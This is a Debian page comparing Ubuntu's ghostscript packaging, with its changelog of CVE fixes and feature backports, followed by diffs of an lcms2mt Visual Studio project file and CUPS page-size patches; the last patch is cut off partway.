Debian

Available patches from Ubuntu

To see Ubuntu differences wrt. to Debian, write down a grep-dctrl query identifying the packages you're interested in:
grep-dctrl -n -sPackage Sources.Debian
(e.g. -FPackage linux-ntfs or linux-ntfs)

Modified packages are listed below:

Debian ( Changelog | PTS | Bugs ) Ubuntu ( Changelog | txt | LP | Bugs ) | Diff from Ubuntu

Source: ghostscript

ghostscript (9.27~dfsg+0-0ubuntu3) eoan; urgency=medium * SECURITY UPDATE: '-dSAFER' restrictions bypass by .forceput Exposures - debian/patches/CVE-2019-14811-CVE-2019-14812-CVE-2019-14813.patch: Be more defensive by preventing access to .forceput from .setuserparams2. - CVE-2019-14811 - CVE-2019-14812 - CVE-2019-14813 - debian/patches/CVE-2019-14817.patch: mark more uses of .forceput as execteonly - CVE-2019-14817 -- Steve Beattie <sbeattie@ubuntu.com> Wed, 11 Sep 2019 12:06:48 -0700 ghostscript (9.27~dfsg+0-0ubuntu2) eoan; urgency=medium * Backported fixes on the "cups" (CUPS Raster/PWG Raster) output device to improve the matching of the geometry of the incoming page with the page sizes of the PPD file and also respecting special page size variants (like borderless) requested by the user. These changes should be included upstream from Ghostscript 9.29 on. -- Till Kamppeter <till.kamppeter@gmail.com> Fri, 30 Aug 2019 12:10:06 +0200 ghostscript (9.27~dfsg+0-0ubuntu1) eoan; urgency=medium * New upstream release Highlights: - We have extensively cleaned up the Postscript name space: removing access to internal and/or undocumented Postscript operators, procedures and data. This has benefits for security and maintainability. - Fontmap can now reference invidual fonts in a TrueType Collection for font subsitution. Previously, a Fontmap entry could only reference a TrueType collection and use the default (first) font. Now, the Fontmap syntax allows for specifying a specific index in a TTC. See the comments at the top of (the default) Fontmap.GS for details. * Improvements on HTML documentation (Use local JavaScript, avoid remote fonts, avoid Google Tag Manager) by overtaking the appropriate patches from the Debian package. * Backported upstream patch to fix regression resolving bounding box of font glyphs and re-introduce over/underflow workaround. * Backported upstream patch to protect use of .forceput with executeonly. * Removed patches 02018*, lp1815339*, CVE-2019-* which are already included upstream. * Refreshed patch 2007_suggest_install_ghostscript-doc_in_code.patch with quilt. * debian/libgs9.symbols: Updated for new upstream source. Applied patch which dpkg-gensymbols generated. -- Till Kamppeter <till.kamppeter@gmail.com> Thu, 15 Aug 2019 21:38:06 +0200 ghostscript (9.26~dfsg+0-0ubuntu9) eoan; urgency=medium * SECURITY UPDATE: `-dSAFER` restrictions bypass - debian/patches/CVE-2019-10216.patch: protect use of .forceput with executeonly - CVE-2019-10216 -- Steve Beattie <sbeattie@ubuntu.com> Thu, 08 Aug 2019 14:11:53 -0700 ghostscript (9.26~dfsg+0-0ubuntu8) eoan; urgency=medium * SECURITY UPDATE: code execution vulnerability - debian/patches/CVE-2019-3839-1.patch: hide pdfdict and GS_PDF_ProcSet in Resource/Init/pdf_base.ps, Resource/Init/pdf_draw.ps, Resource/Init/pdf_font.ps, Resource/Init/pdf_main.ps, Resource/Init/pdf_ops.ps, Resource/Init/pdf_sec.ps. - debian/patches/CVE-2019-3839-2.patch: fix lib/pdf2dsc.ps to use documented Ghostscript pdf procedures in lib/pdf2dsc.ps. - CVE-2019-3839 -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Tue, 07 May 2019 11:28:11 -0400 ghostscript (9.26~dfsg+0-0ubuntu7) disco; urgency=medium * SECURITY UPDATE: superexec operator is available - debian/patches/CVE-2019-3835-pre1.patch: Have gs_cet.ps run from gs_init.ps in Resource/Init/gs_cet.ps, Resource/Init/gs_init.ps. - debian/patches/CVE-2019-3835-pre2.patch: Undef /odef in Resource/Init/gs_cet.ps, Resource/Init/gs_init.ps. - debian/patches/CVE-2019-3835-1.patch: restrict superexec and remove it in Resource/Init/gs_cet.ps, Resource/Init/gs_dps1.ps, Resource/Init/gs_fonts.ps, Resource/Init/gs_init.ps, Resource/Init/gs_ttf.ps, Resource/Init/gs_type1.ps. - debian/patches/CVE-2019-3835-2.patch: obliterate superexec in Resource/Init/gs_init.ps, psi/icontext.c, psi/icstate.h, psi/zcontrol.c, psi/zdict.c, psi/zgeneric.c. - CVE-2019-3835 * SECURITY UPDATE: forceput in DefineResource is still accessible - debian/patches/CVE-2019-3838-1.patch: make a transient proc executeonly in Resource/Init/gs_res.ps. - debian/patches/CVE-2019-3838-2.patch: an extra transient proc needs executeonly in Resource/Init/gs_res.ps. - CVE-2019-3838 -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Thu, 21 Mar 2019 13:15:30 -0400 ghostscript (9.26~dfsg+0-0ubuntu6) disco; urgency=medium * SECURITY REGRESSION: Previous regression fix causes blue background (LP: #1817308) - debian/patches/lp1815339-2.patch: properly map RGBW color space in cups/gdevcups.c. -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Mon, 25 Feb 2019 09:29:45 -0500 ghostscript (9.26~dfsg+0-0ubuntu5) disco; urgency=medium * SECURITY REGRESSION: High RIP_MAX_CACHE makes cups output device fail (LP: #1815339) - debian/patches/lp1815339.patch: fix logic in cups/gdevcups.c. -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Wed, 20 Feb 2019 10:37:16 +0100 ghostscript (9.26~dfsg+0-0ubuntu4) disco; urgency=medium * SECURITY UPDATE: code execution vulnerability - debian/patches/CVE-2019-6116.patch: address .force* operators exposure in Resource/Init/gs_diskn.ps, Resource/Init/gs_dps1.ps, Resource/Init/gs_fntem.ps, Resource/Init/gs_fonts.ps, Resource/Init/gs_init.ps, Resource/Init/gs_lev2.ps, Resource/Init/gs_pdfwr.ps, Resource/Init/gs_res.ps, Resource/Init/gs_setpd.ps, Resource/Init/pdf_base.ps, Resource/Init/pdf_draw.ps, Resource/Init/pdf_font.ps, Resource/Init/pdf_main.ps, Resource/Init/pdf_ops.ps, psi/int.mak, psi/interp.c, psi/istack.c, psi/istack.h. - CVE-2019-6116 * debian/libgs9.symbols: added new symbol. -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Wed, 23 Jan 2019 13:02:37 -0500 ghostscript (9.26~dfsg+0-0ubuntu3) disco; urgency=low * Backported upstream patch to prevent crashes when calling Ghostscript with a PDF file and "-dLastPage=1" (LP: #1806517, upstream bug #700315). -- Till Kamppeter <till.kamppeter@gmail.com> Wed, 5 Dec 2018 16:47:06 +0100 ghostscript (9.26~dfsg+0-0ubuntu2) disco; urgency=low * Backported upstream patch to make Duplex on non-default page sizes work (on certain PostScript printers, upstream bug #700232). -- Till Kamppeter <till.kamppeter@gmail.com> Thu, 29 Nov 2018 22:52:06 +0100 ghostscript (9.26~dfsg+0-0ubuntu1) disco; urgency=medium * SECURITY UPDATE: Updated to 9.26 to fix multiple security issues - CVE-2018-19409 - CVE-2018-19475 - CVE-2018-19476 - CVE-2018-19477 * Removed patches included in new version: - debian/patches/0218*.patch - debian/patches/lp1800062.patch * debian/libgs9.symbols: updated for new version. -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Wed, 28 Nov 2018 07:12:52 -0500 ghostscript (9.25~dfsg+1-0ubuntu1.1) cosmic-security; urgency=medium * SECURITY UPDATE: Multiple security issues - debian/patches/0218*.patch: multiple cherry-picked upstream commits to fix security issues. Thanks to Jonas Smedegaard for cherry-picking these for Debian's 9.25~dfsg-3 package. - debian/libgs9.symbols: added new symbol. - CVE-2018-17961 - CVE-2018-18073 - CVE-2018-18284 * Fix LeadingEdge regression introduced in 9.22. (LP: #1800062) - debian/patches/lp1800062.patch: fix cups get/put_params LeadingEdge logic in cups/gdevcups.c. -- Marc Deslauriers <marc.deslauriers@ubuntu.com> Tue, 30 Oct 2018 08:38:06 -0400 ghostscript (9.25~dfsg+1-0ubuntu1) cosmic; urgency=medium * New upstream bug fix release Highlights: - Highly recommended by upstream, release done to fix regressions in 9.24. - This release fixes problems with argument handling, some unintended results of the security fixes to the SAFER file access restrictions (specifically accessing ICC profile files), and some additional security issues over the recent 9.24 release. - Note: The ps2epsi utility does not, and cannot call Ghostscript with the -dSAFER command line option. It should never be called with input from untrusted sources. * Removed patch 020180906-bc3df07-*.patch backported from upstream. * Refreshed patches 2003_support_multiarch.patch and 2007_suggest_install_ghostscript-doc_in_code.patch with quilt. * debian/libgs9.symbols: Updated for new upstream source. Applied patch which dpkg-gensymbols generated. -- Till Kamppeter <till.kamppeter@gmail.com> Thu, 13 Sep 2018 20:27:06 +0200 ghostscript (9.24~dfsg+1-0ubuntu1) cosmic; urgency=medium * New upstream release (LP: #1791279) Highlights: - Security issues have been the primary focus of this release, including solving several (well publicised) real and potential exploits. Upstream highly recommends this due to the many security fixes and improvements. * debian/copyright, debian/rules: Upstream renamed the lcms2art/ directory to lcms2mt/. * Removed patch CVE-2018-10194.patch backported from upstream. * Refreshed patch 2010_add_build_timestamp_setting.patch with quilt. * 020180906-bc3df07-for-icc-profile-validation-have-cups-id-itself-as-device-n.patch: "cups" output device did not work because there were no output profiles for all color spaces (Upstream bug #699713). * Merged from Debian package: - Update copyright-check maintainer script: Extract metadata from png files. - Update copyright info: + Extend coverage for main upstream author. + Extend coverage for Adobe. - Extend lintian overrides regarding License-Reference. - Declare compliance with Debian Policy 4.2.0. * debian/libgs9.symbols: Updated for new upstream source. Applied patch which dpkg-gensymbols generated. -- Till Kamppeter <till.kamppeter@gmail.com> Thu, 06 Sep 2018 20:21:03 +0200 ghostscript (9.23~dfsg+1-0ubuntu2) cosmic; urgency=medium * Build with -O2 on ppc64el to avoid FTBFS -- Graham Inggs <ginggs@ubuntu.com> Sat, 11 Aug 2018 11:41:40 +0000 ghostscript (9.23~dfsg+1-0ubuntu1) cosmic; urgency=medium * New upstream release Highlights: + Ghostscript now has a family of 'pdfimage' devices (pdfimage8, pdfimage24 and pdfimage32) which produce rendered output wrapped up as an image in a PDF. Additionally, there is a 'pclm' device which produces PCLm format output. + There is now a ColorAccuracy parameter allowing the user to decide between speed or accuracy in ICC color transforms. + JPEG Passthrough: devices which support it can now receive the 'raw' JPEG stream from the interpreter. The main use of this is the pdfwrite/ps2write family of devices that can now take JPEG streams from the input file(s) and write them unchanged to the output (thus avoiding additional quantization effects). + PDF transparency performance improvements * Difference to Debian package: + openjpeg library bundled with upstream Ghostscript/GhostPDL used instead of the original openjpeg library, as the original library is not accepted into Ubuntu Main (https://bugs.launchpad.net/bugs/711061). * Use bundled lcms2art instead of system's liblcms2 as the former one is made thread safe and also contains preformance enhancements which got rejected upstream. * Updated list of stripped files/paths in debian/copyright * Added licenses of bundled openjpeg and lcms2 libraries to debian/copyright * Updated/refreshed the 20* patches * Dropped CVE-2016-10317.patch as it is included upstream. * debian/libgs9.symbols: Updated for new upstream source. Applied patch which dpkg-gensymbols generated. -- Till Kamppeter <till.kamppeter@gmail.com> Wed, 08 Aug 2018 13:29:37 +0200 ghostscript (9.22~dfsg+1-0ubuntu1.1) bionic-security; urgency=medium * SECURITY UPDATE: Heap-based buffer overflow and application crash - debian/patches/CVE-2016-10317.patch: check max_height bounds in base/gxht_thresh.c, base/gxipixel.c. - CVE-2016-10317 * SECURITY UPDATE: Denial of service - debian/patches/CVE-2018-10194.patch: avoid infinite number in devices/vector/gdevpdts.c. - CVE-2018-10194 -- Leonidas S. Barbosa <leo.barbosa@canonical.com> Tue, 24 Apr 2018 14:34:45 -0300 ghostscript (9.22~dfsg+1-0ubuntu1) bionic; urgency=low * Merge from Debian unstable. Remaining changes: + openjpeg library bundled with upstream Ghostscript/GhostPDL used instead of the original openjpeg library, as the original library is not accepted into Ubuntu Main (https://bugs.launchpad.net/bugs/711061). * debian/libgs9.symbols: Updated for new upstream source. Applied patch which dpkg-gensymbols generated. -- Till Kamppeter <till.kamppeter@gmail.com> Fri, 23 Feb 2018 21:12:00 +0100

Modifications :
  1. Download patch lcms2mt/configure
  2. Download patch lcms2mt/Projects/VC2010/lcms2mt_static/lcms2mt_static.vcxproj

    --- 9.27~dfsg-3.1/lcms2mt/Projects/VC2010/lcms2mt_static/lcms2mt_static.vcxproj 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/VC2010/lcms2mt_static/lcms2mt_static.vcxproj 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,194 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{71DEDE59-3F1E-486B-A899-4283000F76B5}</ProjectGuid> + <RootNamespace>lcms2mt_static</RootNamespace> + <Keyword>Win32Proj</Keyword> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <CharacterSet>Unicode</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <CharacterSet>Unicode</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup> + <_ProjectFileVersion>10.0.21006.1</_ProjectFileVersion> + <OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\..\..\Lib\MS\</OutDir> + <OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\..\..\Lib\MS\</OutDir> + <IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir> + <IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(Configuration)\</IntDir> + <OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\..\..\Lib\MS\</OutDir> + <OutDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">..\..\..\Lib\MS\</OutDir> + <IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir> + <IntDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(Configuration)\</IntDir> + <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet> + <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">AllRules.ruleset</CodeAnalysisRuleSet> + <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" /> + <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" /> + <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" /> + <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" /> + <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet> + <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet> + <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" /> + <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" /> + <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" /> + <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" /> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <AdditionalIncludeDirectories>../../../include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level4</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + <FunctionLevelLinking> + </FunctionLevelLinking> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + <MinimalRebuild> + </MinimalRebuild> + </ClCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <AdditionalIncludeDirectories>../../../include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level4</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <FunctionLevelLinking> + </FunctionLevelLinking> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + </ClCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <Optimization>Full</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <AdditionalIncludeDirectories>../../../include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level4</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed> + <OmitFramePointers>true</OmitFramePointers> + <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <ExceptionHandling>false</ExceptionHandling> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + </ClCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <Optimization>Full</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <AdditionalIncludeDirectories>../../../include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level4</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed> + <OmitFramePointers>true</OmitFramePointers> + <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations> + <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> + <ExceptionHandling>false</ExceptionHandling> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + </ClCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\src\cmsalpha.c" /> + <ClCompile Include="..\..\..\src\cmscam02.c" /> + <ClCompile Include="..\..\..\src\cmscgats.c" /> + <ClCompile Include="..\..\..\src\cmscnvrt.c" /> + <ClCompile Include="..\..\..\src\cmserr.c" /> + <ClCompile Include="..\..\..\src\cmsgamma.c" /> + <ClCompile Include="..\..\..\src\cmsgmt.c" /> + <ClCompile Include="..\..\..\src\cmshalf.c" /> + <ClCompile Include="..\..\..\src\cmsintrp.c" /> + <ClCompile Include="..\..\..\src\cmsio0.c" /> + <ClCompile Include="..\..\..\src\cmsio1.c" /> + <ClCompile Include="..\..\..\src\cmslut.c" /> + <ClCompile Include="..\..\..\src\cmsmd5.c" /> + <ClCompile Include="..\..\..\src\cmsmtrx.c" /> + <ClCompile Include="..\..\..\src\cmsnamed.c" /> + <ClCompile Include="..\..\..\src\cmsopt.c" /> + <ClCompile Include="..\..\..\src\cmspack.c" /> + <ClCompile Include="..\..\..\src\cmspcs.c" /> + <ClCompile Include="..\..\..\src\cmsplugin.c" /> + <ClCompile Include="..\..\..\src\cmsps2.c" /> + <ClCompile Include="..\..\..\src\cmssamp.c" /> + <ClCompile Include="..\..\..\src\cmssm.c" /> + <ClCompile Include="..\..\..\src\cmstypes.c" /> + <ClCompile Include="..\..\..\src\cmsvirt.c" /> + <ClCompile Include="..\..\..\src\cmswtpnt.c" /> + <ClCompile Include="..\..\..\src\cmsxform.c" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\src\lcms2_internal.h" /> + <ClInclude Include="..\..\..\include\lcms2mt.h" /> + <ClInclude Include="..\..\..\include\lcms2mt_plugin.h" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file
  3. Download patch debian/libgs9.symbols
  4. Download patch debian/patches/020190825~30575d5_cups_pwgraster_output_device_prefer_the_page_size_requested_by_user.patch

    --- 9.27~dfsg-3.1/debian/patches/020190825~30575d5_cups_pwgraster_output_device_prefer_the_page_size_requested_by_user.patch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/020190825~30575d5_cups_pwgraster_output_device_prefer_the_page_size_requested_by_user.patch 2019-08-30 10:03:03.000000000 +0000 @@ -0,0 +1,113 @@ +--- a/cups/gdevcups.c ++++ b/cups/gdevcups.c +@@ -307,6 +307,7 @@ + int Matrix[3][3][CUPS_MAX_VALUE + 1];/* Color transform matrix LUT */ + int user_icc; + int cupsRasterVersion; ++ char pageSizeRequested[64]; + + /* Used by cups_put_params(): */ + } gx_device_cups; +@@ -516,7 +517,8 @@ + {{0x00},{0x00},{0x00}},\ + {{0x00},{0x00},{0x00}}}, /* Matrix */\ + 0, /* user_icc */\ +- 3 /* cupsRasterVersion */ ++ 3, /* cupsRasterVersion */\ ++ "" /* pageSizeRequested */ + + gx_device_cups gs_cups_device = { gs_xxx_device("cups", "") }; + gx_device_cups gs_pwgraster_device = { gs_xxx_device("pwgraster", +@@ -2857,6 +2859,14 @@ + if (cups->PPD == NULL) + cups->PPD = ppdOpenFile(getenv("PPD")); + ++ if (cups->pageSizeRequested[0] == '\0') { ++ strncpy(cups->pageSizeRequested, cups->header.cupsPageSizeName, 64); ++#ifdef CUPS_DEBUG ++ dmprintf1(pdev->memory, "DEBUG: Page size requested: %s\n", ++ cups->header.cupsPageSizeName); ++#endif /* CUPS_DEBUG */ ++ } ++ + return (0); + } + +@@ -3107,7 +3117,8 @@ + ppd_size_t *best_size = NULL; + int size_matched = 0, + margins_matched = 0, +- imageable_area_matched = 0; ++ imageable_area_matched = 0, ++ name_requested_matched = 0; + float long_edge_mismatch, short_edge_mismatch; + gs_param_string icc_pro_dummy; + int old_cmps = cups->color_info.num_components; +@@ -3490,6 +3501,7 @@ + size_matched = 0; + margins_matched = 0; + imageable_area_matched = 0; ++ name_requested_matched = 0; + + long_edge_mismatch = + fabs(cups->MediaSize[1] - size->length)/size->length + +@@ -3565,6 +3577,13 @@ + else if (size_matched) + score += PAGESIZE_SCORE_SIZE * 10000; + ++ if (size_matched || imageable_area_matched) { ++ if (!strcasecmp(cups->pageSizeRequested, size->name)) ++ name_requested_matched = 1; ++ else ++ score -= 1000; ++ } ++ + if (score > best_score) + { + best_score = score; +@@ -3581,8 +3600,9 @@ + dmprintf4(pdev->memory, "DEBUG2: Size mismatch: Long Edge (%.3f): %.5f; Short Edge (%.3f): %.5f\n", + LONG_EDGE_LENGTH_MATCH_LIMIT, long_edge_mismatch, + SHORT_EDGE_LENGTH_MATCH_LIMIT, short_edge_mismatch); +- dmprintf3(pdev->memory, "DEBUG2: Match: Size: %d; Margins: %d; Imageable Area: %d\n", +- size_matched, margins_matched, imageable_area_matched); ++ dmprintf4(pdev->memory, "DEBUG2: Match: Size: %d; Margins: %d; Imageable Area: %d; Name requested: %d\n", ++ size_matched, margins_matched, imageable_area_matched, ++ name_requested_matched); + dmprintf2(pdev->memory, "DEBUG2: Score: %ld; Best Score: %ld\n", + score, best_score); + #endif /* CUPS_DEBUG */ +@@ -3654,6 +3674,7 @@ + size_matched = 0; + margins_matched = 0; + imageable_area_matched = 0; ++ name_requested_matched = 0; + + long_edge_mismatch = + fabs(cups->MediaSize[0] - size->length)/size->length + +@@ -3729,6 +3750,13 @@ + else if (size_matched) + score += PAGESIZE_SCORE_SIZE * 10000; + ++ if (size_matched || imageable_area_matched) { ++ if (!strcasecmp(cups->pageSizeRequested, size->name)) ++ name_requested_matched = 1; ++ else ++ score -= 1000; ++ } ++ + if (score > best_score) + { + best_score = score; +@@ -3745,8 +3773,9 @@ + dmprintf4(pdev->memory, "DEBUG2: Size mismatch: Long Edge (%.3f): %.5f; Short Edge (%.3f): %.5f\n", + LONG_EDGE_LENGTH_MATCH_LIMIT, long_edge_mismatch, + SHORT_EDGE_LENGTH_MATCH_LIMIT, short_edge_mismatch); +- dmprintf3(pdev->memory, "DEBUG2: Match: Size: %d; Margins: %d; Imageable Area: %d\n", +- size_matched, margins_matched, imageable_area_matched); ++ dmprintf4(pdev->memory, "DEBUG2: Match: Size: %d; Margins: %d; Imageable Area: %d; Name requested: %d\n", ++ size_matched, margins_matched, imageable_area_matched, ++ name_requested_matched); + dmprintf2(pdev->memory, "DEBUG2: Score: %ld; Best Score: %ld\n", + score, best_score); + #endif /* CUPS_DEBUG */
  5. Download patch debian/patches/020190822~863d77f_cups_pwgraster_output_device_produce_more_debug_output.patch

    --- 9.27~dfsg-3.1/debian/patches/020190822~863d77f_cups_pwgraster_output_device_produce_more_debug_output.patch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/020190822~863d77f_cups_pwgraster_output_device_produce_more_debug_output.patch 2019-08-30 09:45:58.000000000 +0000 @@ -0,0 +1,46 @@ +--- a/cups/gdevcups.c ++++ b/cups/gdevcups.c +@@ -3548,6 +3548,21 @@ + if (score > 0) + best_size = size; + } ++#ifdef CUPS_DEBUG ++ dmprintf1(pdev->memory, "DEBUG2: Checking against PPD page size: %s\n", ++ size->name); ++ dmprintf2(pdev->memory, "DEBUG2: Width: %8.2f; Height: %8.2f\n", ++ size->width, size->length); ++ dmprintf4(pdev->memory, "DEBUG2: Margins: Left: %8.2f; Right: %8.2f; Top: %8.2f; Bottom: %8.2f\n", ++ size->left, size->right, size->top, size->bottom); ++ dmprintf4(pdev->memory, "DEBUG2: Size mismatch: Long Edge (%8.2f): %8.2f; Short Edge (%8.2f): %8.2f\n", ++ LONG_EDGE_LENGTH_MATCH_LIMIT, long_edge_mismatch, ++ SHORT_EDGE_LENGTH_MATCH_LIMIT, short_edge_mismatch); ++ dmprintf3(pdev->memory, "DEBUG2: Match: Name: %d; Size: %d; Margins: %d\n", ++ name_matched, size_matched, margins_matched); ++ dmprintf2(pdev->memory, "DEBUG2: Score: %ld; Best Score: %ld\n", ++ score, best_score); ++#endif /* CUPS_DEBUG */ + } + + if (best_size) +@@ -3670,6 +3685,21 @@ + if (score > 0) + best_size = size; + } ++#ifdef CUPS_DEBUG ++ dmprintf1(pdev->memory, "DEBUG2: Checking against PPD page size: %s\n", ++ size->name); ++ dmprintf2(pdev->memory, "DEBUG2: Width: %8.2f; Height: %8.2f\n", ++ size->width, size->length); ++ dmprintf4(pdev->memory, "DEBUG2: Margins: Left: %8.2f; Right: %8.2f; 